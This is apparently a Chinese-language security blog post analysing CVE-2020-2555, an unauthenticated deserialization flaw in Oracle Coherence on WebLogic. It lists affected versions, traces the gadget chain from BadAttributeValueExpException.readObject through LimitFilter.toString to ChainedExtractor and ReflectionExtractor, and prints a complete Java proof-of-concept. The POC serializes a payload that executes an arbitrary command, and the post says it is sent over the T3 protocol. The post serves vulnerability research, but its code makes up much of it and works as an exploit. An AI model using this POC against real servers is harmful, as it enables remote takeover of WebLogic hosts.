2020年1月,互联网上爆出了weblogic反序列化远程命令执行漏洞(CVE-2020-2555),Oracle Fusion中间件Oracle Coherence存在缺陷,攻击者可利用该漏洞再未授权情况下通过构造T3协议请求,获取weblogic服务器权限,执行任意命令。
漏洞影响情况:
Oracle Coherence 3.7.1.17
Oracle Coherence & Weblogic 12.1.3.0.0
Oracle Coherence & Weblogic 12.2.1.3.0
Oracle Coherence & Weblogic 12.2.1.4.0
通过研究发现 Weblogic 10.3.6.0 版本不受影响范围内,虽然该版本默认自带了 Coherence(3.7),通过调试发现该版本默认并未启用 Coherence,所以 Weblogic 10.3.6.0 不在受影响范围内。
分析环境Weblogic 12.1.3,注意每个Weblogic中的coherence组件可能会有不同,导致poc构造无法通用
开启weblogic远程调试,打包coherence目录加入到idea中,并开启远程JVM调试
在Coherence组件中,出现了像CC链一样可以组成链式调用的类
首先介绍几个关键类,这几个类和CC链一样组成了链式调用。
所有实现了此接口的类都有个extract
方法,这个方法是整个调用链的关键方法
此类实现了ValueExtractor
接口,有个extract
方法,此方法有调用method.invoke
可以用以下demo来构造Runtime.getRuntime()
public class Test {
public static void main(String[] args) {
ReflectionExtractor reflectionExtractor = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
);
Object extract = reflectionExtractor.extract(Runtime.class);
System.out.println(extract);
}
}
此方法也实现了ValueExtractor
接口,也有个extract
方法,查看此方法
此方法和CC链的一样,利用for循环遍历了数组aExtractor
的每一个extract
方法,形成了ChainedExtractor
调用链。以下demo可以构造Runtime.getRuntime.exec造成命令执行的效果
public class Test {
public static void main(String[] args) {
String cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
chainedExtractor.extract(Runtime.class);
}
}
接下来只要寻找到调用了ChainedExtractor#extract
方法的类,即可触发调用链。
此处漏洞采用了com.tangosol.util.filter.LimitFilter#toString
来触发调用链,下图为toString
方法,其调用了extract
方法
这里涉及两个值,分别是this.m_comparator
和this.m_oAnchorTop
this.m_comparator
转型成了ValueExtractor
类型,并赋值给了extractor
,而extractor
则调用了extract
方法
在extractor
方法中传入了this.m_oAnchorTop
得出以下条件:
this.m_comparator
为chainedExtractor
this.m_oAnchorTop
为Runtime.class
以上两个条件满足即可利用com.tangosol.util.filter.LimitFilter#toString
来触发调用链
LimitFilter#toString -》 chainedExtractor#extract
接下来就是寻找调用了LimitFilter#toString
的类,在CC5中有个BadAttributeValueExpException
,其readObject
中会调用到toString
此类在CC5中有出现过,其readObject
中会调用到toString
此处会调用valObj
的toString
方法,而valObj
在72行时候被获取
先附上整个调用链:
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
LimitFilter.toString()
ChainedExtractor.extract()
ReflectionExtractor.extract()
Method.invoke()
Class.getMethod()
ReflectionExtractor.extract()
Method.invoke()
Runtime.getRuntime()
ReflectionExtractor.extract()
Method.invoke()
Runtime.exec()
得出POC
package com.yyhuni;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class POC1 {
public static void main(String[] args) throws Exception {
String cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
// new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash","-c", cmd}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
LimitFilter limitFilter = new LimitFilter();
BadAttributeValueExpException BadAttribute = new BadAttributeValueExpException(null);
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
Field val = BadAttribute.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(BadAttribute, limitFilter);
//writeObject
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(BadAttribute);
objectOutputStream.close();
//readObject
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
}
使用T3协议发送POC即可弹出计算器
手机扫一扫
移动阅读更方便
你可能感兴趣的文章